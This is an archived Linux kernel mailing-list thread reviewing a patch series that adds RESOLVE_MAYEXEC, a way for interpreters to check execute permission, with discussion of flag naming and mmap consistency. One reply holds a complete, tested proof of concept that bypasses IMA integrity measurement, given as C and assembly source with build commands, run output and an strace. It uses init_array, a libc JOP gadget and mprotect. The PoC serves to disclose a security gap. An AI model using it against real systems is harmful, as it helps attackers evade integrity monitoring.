[v3,0/5] Add support for RESOLVE_MAYEXEC
mbox series

Message ID 20200428175129.634352-1-mic@digikod.net
Headers show
Series
  • Add support for RESOLVE_MAYEXEC
Related show

Message

Mickaël Salaün April 28, 2020, 5:51 p.m. UTC
Hi,

The goal of this patch series is to enable to control script execution
with interpreters help.  A new RESOLVE_MAYEXEC flag, usable through
openat2(2), is added to enable userspace script interpreter to delegate
to the kernel (and thus the system security policy) the permission to
interpret/execute scripts or other files containing what can be seen as
commands.

This third patch series mainly differ from the previous one by relying
on the new openat2(2) system call to get rid of the undefined behavior
of the open(2) flags.  Thus, the previous O_MAYEXEC flag is now replaced
with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
strict check of this kind of flags.

A simple system-wide security policy can be enforced by the system
administrator through a sysctl configuration consistent with the mount
points or the file access rights.  The documentation patch explains the
prerequisites.

Furthermore, the security policy can also be delegated to an LSM, either
a MAC system or an integrity system.  For instance, the new kernel
MAY_OPENEXEC flag closes a major IMA measurement/appraisal interpreter
integrity gap by bringing the ability to check the use of scripts [1].
Other uses are expected, such as for openat2(2) [2], SGX integration
[3], bpffs [4] or IPE [5].

Userspace needs to adapt to take advantage of this new feature.  For
example, the PEP 578 [6] (Runtime Audit Hooks) enables Python 3.8 to be
extended with policy enforcement points related to code interpretation,
which can be used to align with the PowerShell audit features.
Additional Python security improvements (e.g. a limited interpreter
withou -c, stdin piping of code) are on their way.

The initial idea come from CLIP OS 4 and the original implementation has
been used for more than 11 years:
https://github.com/clipos-archive/clipos4_doc

An introduction to O_MAYEXEC (original name of RESOLVE_MAYEXEC) was
given at the Linux Security Summit Europe 2018 - Linux Kernel Security
Contributions by ANSSI:
https://www.youtube.com/watch?v=chNjCRtPKQY&t=17m15s
The "write xor execute" principle was explained at Kernel Recipes 2018 -
CLIP OS: a defense-in-depth OS:
https://www.youtube.com/watch?v=PjRE0uBtkHU&t=11m14s

This patch series can be applied on top of v5.7-rc3.  This can be tested
with CONFIG_SYSCTL.  I would really appreciate constructive comments on
this patch series.

Previous version:
https://lore.kernel.org/lkml/20190906152455.22757-1-mic@digikod.net/


[1] https://lore.kernel.org/lkml/1544647356.4028.105.camel@linux.ibm.com/
[2] https://lore.kernel.org/lkml/20190904201933.10736-6-cyphar@cyphar.com/
[3] https://lore.kernel.org/lkml/CALCETrVovr8XNZSroey7pHF46O=kj_c5D9K8h=z2T_cNrpvMig@mail.gmail.com/
[4] https://lore.kernel.org/lkml/CALCETrVeZ0eufFXwfhtaG_j+AdvbzEWE0M3wjXMWVEO7pj+xkw@mail.gmail.com/
[5] https://lore.kernel.org/lkml/20200406221439.1469862-12-deven.desai@linux.microsoft.com/
[6] https://www.python.org/dev/peps/pep-0578/

Regards,

Mickaël Salaün (5):
  fs: Add support for a RESOLVE_MAYEXEC flag on openat2(2)
  fs: Add a MAY_EXECMOUNT flag to infer the noexec mount property
  fs: Enable to enforce noexec mounts or file exec through
    RESOLVE_MAYEXEC
  selftest/openat2: Add tests for RESOLVE_MAYEXEC enforcing
  doc: Add documentation for the fs.open_mayexec_enforce sysctl

 Documentation/admin-guide/sysctl/fs.rst       |  43 +++
 fs/namei.c                                    |  74 +++-
 fs/open.c                                     |   6 +
 include/linux/fcntl.h                         |   2 +-
 include/linux/fs.h                            |   7 +
 include/uapi/linux/openat2.h                  |   6 +
 kernel/sysctl.c                               |   7 +
 tools/testing/selftests/kselftest_harness.h   |   3 +
 tools/testing/selftests/openat2/Makefile      |   3 +-
 tools/testing/selftests/openat2/config        |   1 +
 tools/testing/selftests/openat2/helpers.h     |   3 +
 .../testing/selftests/openat2/omayexec_test.c | 315 ++++++++++++++++++
 12 files changed, 467 insertions(+), 3 deletions(-)
 create mode 100644 tools/testing/selftests/openat2/config
 create mode 100644 tools/testing/selftests/openat2/omayexec_test.c

Comments

Jann Horn April 28, 2020, 7:21 p.m. UTC | #1
On Tue, Apr 28, 2020 at 7:51 PM Mickaël Salaün <mic@digikod.net> wrote:
> The goal of this patch series is to enable to control script execution
> with interpreters help.  A new RESOLVE_MAYEXEC flag, usable through
> openat2(2), is added to enable userspace script interpreter to delegate
> to the kernel (and thus the system security policy) the permission to
> interpret/execute scripts or other files containing what can be seen as
> commands.
>
> This third patch series mainly differ from the previous one by relying
> on the new openat2(2) system call to get rid of the undefined behavior
> of the open(2) flags.  Thus, the previous O_MAYEXEC flag is now replaced
> with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
> strict check of this kind of flags.
>
> A simple system-wide security policy can be enforced by the system
> administrator through a sysctl configuration consistent with the mount
> points or the file access rights.  The documentation patch explains the
> prerequisites.
>
> Furthermore, the security policy can also be delegated to an LSM, either
> a MAC system or an integrity system.  For instance, the new kernel
> MAY_OPENEXEC flag closes a major IMA measurement/appraisal interpreter
> integrity gap by bringing the ability to check the use of scripts [1].
> Other uses are expected, such as for openat2(2) [2], SGX integration
> [3], bpffs [4] or IPE [5].
>
> Userspace needs to adapt to take advantage of this new feature.  For
> example, the PEP 578 [6] (Runtime Audit Hooks) enables Python 3.8 to be
> extended with policy enforcement points related to code interpretation,
> which can be used to align with the PowerShell audit features.
> Additional Python security improvements (e.g. a limited interpreter
> withou -c, stdin piping of code) are on their way.
>
> The initial idea come from CLIP OS 4 and the original implementation has
> been used for more than 11 years:
> https://github.com/clipos-archive/clipos4_doc
>
> An introduction to O_MAYEXEC (original name of RESOLVE_MAYEXEC) was
> given at the Linux Security Summit Europe 2018 - Linux Kernel Security
> Contributions by ANSSI:
> https://www.youtube.com/watch?v=chNjCRtPKQY&t=17m15s
> The "write xor execute" principle was explained at Kernel Recipes 2018 -
> CLIP OS: a defense-in-depth OS:
> https://www.youtube.com/watch?v=PjRE0uBtkHU&t=11m14s
>
> This patch series can be applied on top of v5.7-rc3.  This can be tested
> with CONFIG_SYSCTL.  I would really appreciate constructive comments on
> this patch series.

Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
the dynamic linker. A while back, I wrote a proof-of-concept ELF
library that can execute arbitrary code without triggering IMA because
it has no executable segments - instead it uses init_array to directly
trigger code execution at a JOP gadget in libc that then uses
mprotect() to make the code executable. I tested this on Debian
Stretch back in 2018.

=============================
user@debian:~/ima_stuff$ cat make_segments_rw.c
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
        int fd = open(argv[1], O_RDWR);
        if (fd == -1) err(1, "open");
        struct stat st;
        if (fstat(fd, &st)) err(1, "stat");
        unsigned char *mapping = mmap(NULL, st.st_size,
PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mapping == MAP_FAILED) err(1, "mmap");
        Elf64_Ehdr *ehdr = (void*)mapping;
        Elf64_Phdr *phdrs = (void*)(mapping + ehdr->e_phoff);

        for (int i=0; i<ehdr->e_phnum; i++) {
                phdrs[i].p_flags &= ~PF_X;
                phdrs[i].p_flags |= PF_W;
        }

        return 0;
}
user@debian:~/ima_stuff$ cat test.s
        .text
        .section        .text.startup,"aw",@progbits
        .globl  foobar
        .align 4096
foobar:
        /* alignment for xmm stuff in libc */
        sub     $8, %rsp
        call    getpid
        mov     %rax, %rsi
        leaq    message(%rip), %rdi
        call    printf
        movq    stdout_indir(%rip), %rdi
        movq    (%rdi), %rdi
        call fflush
        xor     %edi, %edi
        call    _exit

        .section        .init_array,"aw"
        .align 8
        .quad   rmdir+0x774

        .section        .fini_array,"aw"
        .quad   0xdeadbeef
        .quad   0xdeadbeef
        .quad   0xdeadbeef
        .quad   ucontext_data /* goes into rdi */
        .quad   0xdeadbeef
        .quad   0xdeadbeef
        .quad   0xdeadbeef
        .quad   0xdeadbeef
        .quad   setcontext+0x35 /* call target */

        .data
ucontext_data:
        /* 0x00 */
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        /* 0x40 */
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad 0xdeadbeefdeadbeef, foobar
        .quad             0x1000, 0xdeadbeefdeadbeef
        /* 0x80 */
        .quad 0xdeadbeefdeadbeef, 0x7
        .quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
        .quad stack_end, mprotect

        /* my stack */
        .fill 0x10000, 1, 0x42
stack_end:
        .quad foobar
message:
        .string "hello world from PID %d\n"
stdout_indir:
        .quad stdout
user@debian:~/ima_stuff$ gcc -o make_segments_rw make_segments_rw.c
user@debian:~/ima_stuff$ as -o test.o test.s
test.s: Assembler messages:
test.s:2: Warning: setting incorrect section attributes for .text.startup
user@debian:~/ima_stuff$ ld -shared -znorelro -o test.so test.o
user@debian:~/ima_stuff$ ./make_segments_rw test.so
user@debian:~/ima_stuff$ LD_PRELOAD=./test.so /bin/echo
hello world from PID 1053
user@debian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/runtime_measurements_count
1182
user@debian:~/ima_stuff$ sudo tail /sys/kernel/security/ima/runtime_measurements
tail: cannot open '/sys/kernel/security/ima/runtime_measurements' for
reading: No such file or directory
user@debian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/ascii_runtime_measurements
10 2435d24127ce5bcfbe776589ac86bc85530da07d ima-ng
sha256:ae35ddf5dbbef6ea31e8b87326001d12a6b4ec479bb8195b874d733d69ed1a4d
/usr/bin/x86_64-linux-gnu-gcc-6
10 f3ed20073a77fbc020d2807ce12ffc4cdbced976 ima-ng
sha256:65af5a9ea7ce00be9b921d4b13f5224c2369451eb918d4fa7721442283545957
/usr/bin/x86_64-linux-gnu-g++-6
10 25f0128e89a730a6f1cdd42d8de71d3db2625c9e ima-ng
sha256:d5d7e609b95939d0ae9f75a953d5cda4f1d8b9e4c1db98aeee7f792028bf026e
/usr/bin/x86_64-linux-gnu-as
10 51cf269a0008ab8173c7a696bee11be86a0bbd45 ima-ng
sha256:2d10a4e221ef8454b635f1ec646e6f4ff7f3db8e2e59b489c642758b2624a659
/usr/lib/x86_64-linux-gnu/libopcodes-2.28-system.so
10 b5c1db60c50722e1af84b83b34c0adb04b98d040 ima-ng
sha256:d3eef29b5b5bfc12999c5dbcc91029302477b70c7599aeb6b564140a336ab00b
/usr/lib/x86_64-linux-gnu/libbfd-2.28-system.so
10 6364d50cdac1733b7fd5dcfd9df124d1e4362a12 ima-ng
sha256:30c26e4b3cbd0677b2a23d09a72989002af138be57d301ed529c91b88427098f
/usr/lib/gcc/x86_64-linux-gnu/6/collect2
10 2a8c7ddacee57967e8a00ee1a522b552e29f559f ima-ng
sha256:a7b6287a8095701713e9ee7a886cae1f1ceefd0ce9c45dcc38719af563200964
/usr/bin/x86_64-linux-gnu-ld.bfd
10 e55a9c15349e2271cbdfe2f4fe36cd5b4070d3d0 ima-ng
sha256:b31674ad141a40eb2603f20400cc0dea4ee32ecf87771df3d039f16aae60ee26
/usr/lib/gcc/x86_64-linux-gnu/6/liblto_plugin.so.0.0.0
10 617aab630be74cd5bb7d830a727fd29cda361743 ima-ng
sha256:40fbf6acd3182d7a1ad158cd4de48da704bfe84f468d7b58dd557db93fe8a34c
/usr/bin/vim.basic
10 2c1fe398ecc0a8db6651621715d60a7e1b1958dc ima-ng
sha256:8523b422a01af773eff76b981c763cf0c739ea3030e592bb4d4f7854e295c418
/home/user/ima_stuff/make_segments_rw
user@debian:~/ima_stuff$
=============================

When looking at the syscalls the process is making, you can see that
it indeed never calls mmap() with PROT_EXEC on the library (I use
mprotect() to make my code executable, but IMA doesn't use the
mprotect security hook):

=============================
user@debian:~/ima_stuff$ strace -E LD_PRELOAD=./test.so /bin/echo
execve("/bin/echo", ["/bin/echo"], [/* 44 vars */]) = 0
brk(NULL)                               = 0x5642c52bc000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e817000
open("./test.so", O_RDONLY|O_CLOEXEC)   = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\20\0\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=72232, ...}) = 0
getcwd("/home/user/ima_stuff", 128)     = 21
mmap(NULL, 2167449, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_DENYWRITE,
3, 0) = 0x7fb83e3e5000
mprotect(0x7fb83e3e7000, 2093056, PROT_NONE) = 0
mmap(0x7fb83e5e6000, 69632, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7fb83e5e6000
mprotect(0x7ffea1b1f000, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC|PROT_GROWSDOWN) = 0
close(3)                                = 0
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103509, ...}) = 0
mmap(NULL, 103509, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb83e7fd000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\3\2\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1689360, ...}) = 0
mmap(NULL, 3795360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3,
0) = 0x7fb83e046000
mprotect(0x7fb83e1db000, 2097152, PROT_NONE) = 0
mmap(0x7fb83e3db000, 24576, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x195000) = 0x7fb83e3db000
mmap(0x7fb83e3e1000, 14752, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb83e3e1000
close(3)                                = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e7fb000
arch_prctl(ARCH_SET_FS, 0x7fb83e7fb700) = 0
mprotect(0x7fb83e3db000, 16384, PROT_READ) = 0
mprotect(0x5642c3eed000, 4096, PROT_READ) = 0
mprotect(0x7fb83e81a000, 4096, PROT_READ) = 0
munmap(0x7fb83e7fd000, 103509)          = 0
mprotect(0x7fb83e3e6000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
getpid()                                = 1084
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
brk(NULL)                               = 0x5642c52bc000
brk(0x5642c52dd000)                     = 0x5642c52dd000
write(1, "hello world from PID 1084\n", 26hello world from PID 1084
) = 26
exit_group(0)                           = ?
+++ exited with 0 +++
=============================
Florian Weimer April 28, 2020, 9:20 p.m. UTC | #2
* Jann Horn:

> Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
> the dynamic linker.

Absolutely.  In typical configurations, the kernel does not enforce
that executable mappings must be backed by files which are executable.
It's most obvious with using an explicit loader invocation to run
executables on noexec mounts.  RESOLVE_MAYEXEC is much more useful
than trying to reimplement the kernel permission checks (or what some
believe they should be) in userspace.
Jann Horn April 28, 2020, 10:01 p.m. UTC | #3
On Tue, Apr 28, 2020 at 11:21 PM Florian Weimer <fw@deneb.enyo.de> wrote:
> * Jann Horn:
>
> > Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
> > the dynamic linker.
>
> Absolutely.  In typical configurations, the kernel does not enforce
> that executable mappings must be backed by files which are executable.
> It's most obvious with using an explicit loader invocation to run
> executables on noexec mounts.  RESOLVE_MAYEXEC is much more useful
> than trying to reimplement the kernel permission checks (or what some
> believe they should be) in userspace.

Oh, good point.

That actually seems like something Mickaël could add to his series? If
someone turns on that knob for "When an interpreter wants to execute
something, enforce that we have execute access to it", they probably
also don't want it to be possible to just map files as executable? So
perhaps when that flag is on, the kernel should either refuse to map
anything as executable if it wasn't opened with RESOLVE_MAYEXEC or
(less strict) if RESOLVE_MAYEXEC wasn't used, print a warning, then
check whether the file is executable and bail out if not?

A configuration where interpreters verify that scripts are executable,
but other things can just mmap executable pages, seems kinda
inconsistent...
Mickaël Salaün April 29, 2020, 8:50 a.m. UTC | #4
On 29/04/2020 00:01, Jann Horn wrote:
> On Tue, Apr 28, 2020 at 11:21 PM Florian Weimer <fw@deneb.enyo.de> wrote:
>> * Jann Horn:
>>
>>> Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
>>> the dynamic linker.
>>
>> Absolutely.  In typical configurations, the kernel does not enforce
>> that executable mappings must be backed by files which are executable.
>> It's most obvious with using an explicit loader invocation to run
>> executables on noexec mounts.  RESOLVE_MAYEXEC is much more useful
>> than trying to reimplement the kernel permission checks (or what some
>> believe they should be) in userspace.

Indeed it makes sense to use RESOLVE_MAYEXEC for the dynamic linker too.
Only the noexec mount option is taken into account for mmap(2) with
PROT_EXEC, and if you can trick the dynamic linker with JOP as Jann
explained, it may enable to execute new code. However, a kernel which
forbids remapping memory with PROT_EXEC still enables to implement a W^X
policy. Any JOP/ROP still enables unexpected code execution though.

> 
> Oh, good point.
> 
> That actually seems like something Mickaël could add to his series? If
> someone turns on that knob for "When an interpreter wants to execute
> something, enforce that we have execute access to it", they probably
> also don't want it to be possible to just map files as executable? So
> perhaps when that flag is on, the kernel should either refuse to map
> anything as executable if it wasn't opened with RESOLVE_MAYEXEC or
> (less strict) if RESOLVE_MAYEXEC wasn't used, print a warning, then
> check whether the file is executable and bail out if not?
> 
> A configuration where interpreters verify that scripts are executable,
> but other things can just mmap executable pages, seems kinda
> inconsistent...

As it is written in the documentation patch, this RESOLVE_MAYEXEC
feature is an important missing piece, but to implement a consistent
security policy we need to enable other restrictions starting with a
noexec mount point policy. The purpose of this patch series is not to
bring a full-feature LSM with process states handling, but it brings
what is needed for LSMs such as SELinux, IMA or IPE to extend their
capabilities to reach what you would expect.
Aleksa Sarai April 30, 2020, 1:54 a.m. UTC | #5
On 2020-04-28, Mickaël Salaün <mic@digikod.net> wrote:
> The goal of this patch series is to enable to control script execution
> with interpreters help.  A new RESOLVE_MAYEXEC flag, usable through
> openat2(2), is added to enable userspace script interpreter to delegate
> to the kernel (and thus the system security policy) the permission to
> interpret/execute scripts or other files containing what can be seen as
> commands.
> 
> This third patch series mainly differ from the previous one by relying
> on the new openat2(2) system call to get rid of the undefined behavior
> of the open(2) flags.  Thus, the previous O_MAYEXEC flag is now replaced
> with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
> strict check of this kind of flags.

My only strong upfront objection is with this being a RESOLVE_ flag.

RESOLVE_ flags have a specific meaning (they generally apply to all
components, and affect the rules of path resolution). RESOLVE_MAYEXEC
does neither of these things and so seems out of place among the other
RESOLVE_ flags.

I would argue this should be an O_ flag, but not supported for the
old-style open(2). This is what the O_SPECIFIC_FD patchset does[1] and I
think it's a reasonable way of solving such problems.
Christian Brauner April 30, 2020, 8:07 a.m. UTC | #6
On Thu, Apr 30, 2020 at 11:54:29AM +1000, Aleksa Sarai wrote:
> On 2020-04-28, Mickaël Salaün <mic@digikod.net> wrote:
> > The goal of this patch series is to enable to control script execution
> > with interpreters help.  A new RESOLVE_MAYEXEC flag, usable through
> > openat2(2), is added to enable userspace script interpreter to delegate
> > to the kernel (and thus the system security policy) the permission to
> > interpret/execute scripts or other files containing what can be seen as
> > commands.
> > 
> > This third patch series mainly differ from the previous one by relying
> > on the new openat2(2) system call to get rid of the undefined behavior
> > of the open(2) flags.  Thus, the previous O_MAYEXEC flag is now replaced
> > with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
> > strict check of this kind of flags.
> 
> My only strong upfront objection is with this being a RESOLVE_ flag.
> 
> RESOLVE_ flags have a specific meaning (they generally apply to all
> components, and affect the rules of path resolution). RESOLVE_MAYEXEC
> does neither of these things and so seems out of place among the other
> RESOLVE_ flags.
> 
> I would argue this should be an O_ flag, but not supported for the

I agree.

Christian
Mickaël Salaün April 30, 2020, 10:45 a.m. UTC | #7
On 30/04/2020 10:07, Christian Brauner wrote:
> On Thu, Apr 30, 2020 at 11:54:29AM +1000, Aleksa Sarai wrote:
>> On 2020-04-28, Mickaël Salaün <mic@digikod.net> wrote:
>>> The goal of this patch series is to enable to control script execution
>>> with interpreters help.  A new RESOLVE_MAYEXEC flag, usable through
>>> openat2(2), is added to enable userspace script interpreter to delegate
>>> to the kernel (and thus the system security policy) the permission to
>>> interpret/execute scripts or other files containing what can be seen as
>>> commands.
>>>
>>> This third patch series mainly differ from the previous one by relying
>>> on the new openat2(2) system call to get rid of the undefined behavior
>>> of the open(2) flags.  Thus, the previous O_MAYEXEC flag is now replaced
>>> with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
>>> strict check of this kind of flags.
>>
>> My only strong upfront objection is with this being a RESOLVE_ flag.
>>
>> RESOLVE_ flags have a specific meaning (they generally apply to all
>> components, and affect the rules of path resolution). RESOLVE_MAYEXEC
>> does neither of these things and so seems out of place among the other
>> RESOLVE_ flags.
>>
>> I would argue this should be an O_ flag, but not supported for the
> 
> I agree.

OK, I'll switch back to O_MAYEXEC.
James Morris May 1, 2020, 3:53 a.m. UTC | #8
On Tue, 28 Apr 2020, Mickaël Salaün wrote:

> Furthermore, the security policy can also be delegated to an LSM, either
> a MAC system or an integrity system.  For instance, the new kernel
> MAY_OPENEXEC flag closes a major IMA measurement/appraisal interpreter
> integrity gap by bringing the ability to check the use of scripts [1].
> Other uses are expected, such as for openat2(2) [2], SGX integration
> [3], bpffs [4] or IPE [5].

Confirming that this is a highly desirable feature for the proposed IPE 
LSM.
Christian Heimes May 1, 2020, 11:47 a.m. UTC | #9
On 29/04/2020 00.01, Jann Horn wrote:
> On Tue, Apr 28, 2020 at 11:21 PM Florian Weimer <fw@deneb.enyo.de> wrote:
>> * Jann Horn:
>>
>>> Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
>>> the dynamic linker.
>>
>> Absolutely.  In typical configurations, the kernel does not enforce
>> that executable mappings must be backed by files which are executable.
>> It's most obvious with using an explicit loader invocation to run
>> executables on noexec mounts.  RESOLVE_MAYEXEC is much more useful
>> than trying to reimplement the kernel permission checks (or what some
>> believe they should be) in userspace.
> 
> Oh, good point.
> 
> That actually seems like something Mickaël could add to his series? If
> someone turns on that knob for "When an interpreter wants to execute
> something, enforce that we have execute access to it", they probably
> also don't want it to be possible to just map files as executable? So
> perhaps when that flag is on, the kernel should either refuse to map
> anything as executable if it wasn't opened with RESOLVE_MAYEXEC or
> (less strict) if RESOLVE_MAYEXEC wasn't used, print a warning, then
> check whether the file is executable and bail out if not?
> 
> A configuration where interpreters verify that scripts are executable,
> but other things can just mmap executable pages, seems kinda
> inconsistent...

+1

I worked with Steve Downer on Python PEP 578 [1] that added audit hooks
and PyFile_OpenCode() to CPython. A PyFile_OpenCode() implementation
with RESOLVE_MAYEXEC will hep to secure loading of Python code. But
Python also includes a wrapper of libffi. ctypes or cffi can load native
code from either shared libraries with dlopen() or execute native code
from mmap() regions. For example SnakeEater [2] is a clever attack that
abused memfd_create syscall and proc filesystem to execute code.

A consistent security policy must also ensure that mmap() PROT_EXEC
enforces the same restrictions as RESOLVE_MAYEXEC. The restriction
doesn't have be part of this patch, though.

Christian

[1] https://www.python.org/dev/peps/pep-0578/
[2] https://github.com/nullbites/SnakeEater/blob/master/SnakeEater2.py
Mickaël Salaün May 5, 2020, 2:57 p.m. UTC | #10
On 01/05/2020 13:47, Christian Heimes wrote:
> On 29/04/2020 00.01, Jann Horn wrote:
>> On Tue, Apr 28, 2020 at 11:21 PM Florian Weimer <fw@deneb.enyo.de> wrote:
>>> * Jann Horn:
>>>
>>>> Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
>>>> the dynamic linker.
>>>
>>> Absolutely.  In typical configurations, the kernel does not enforce
>>> that executable mappings must be backed by files which are executable.
>>> It's most obvious with using an explicit loader invocation to run
>>> executables on noexec mounts.  RESOLVE_MAYEXEC is much more useful
>>> than trying to reimplement the kernel permission checks (or what some
>>> believe they should be) in userspace.
>>
>> Oh, good point.
>>
>> That actually seems like something Mickaël could add to his series? If
>> someone turns on that knob for "When an interpreter wants to execute
>> something, enforce that we have execute access to it", they probably
>> also don't want it to be possible to just map files as executable? So
>> perhaps when that flag is on, the kernel should either refuse to map
>> anything as executable if it wasn't opened with RESOLVE_MAYEXEC or
>> (less strict) if RESOLVE_MAYEXEC wasn't used, print a warning, then
>> check whether the file is executable and bail out if not?
>>
>> A configuration where interpreters verify that scripts are executable,
>> but other things can just mmap executable pages, seems kinda
>> inconsistent...
> 
> +1
> 
> I worked with Steve Downer on Python PEP 578 [1] that added audit hooks
> and PyFile_OpenCode() to CPython. A PyFile_OpenCode() implementation
> with RESOLVE_MAYEXEC will hep to secure loading of Python code. But
> Python also includes a wrapper of libffi. ctypes or cffi can load native
> code from either shared libraries with dlopen() or execute native code
> from mmap() regions. For example SnakeEater [2] is a clever attack that
> abused memfd_create syscall and proc filesystem to execute code.
> 
> A consistent security policy must also ensure that mmap() PROT_EXEC
> enforces the same restrictions as RESOLVE_MAYEXEC. The restriction
> doesn't have be part of this patch, though.
> 
> Christian
> 
> [1] https://www.python.org/dev/peps/pep-0578/
> [2] https://github.com/nullbites/SnakeEater/blob/master/SnakeEater2.py

To be consistent, a "noexec" policy must indeed also restricts features
such as mprotect(2) and mmap(2) which may enable to set arbitrary memory
as executable. This can be restricted with SELinux (i.e. execmem,
execmod,execheap and execstack permissions), PaX MPROTECT [1] or SARA [2].

[1] https://pax.grsecurity.net/docs/mprotect.txt
[2]
https://lore.kernel.org/lkml/1562410493-8661-1-git-send-email-s.mesoraca16@gmail.com/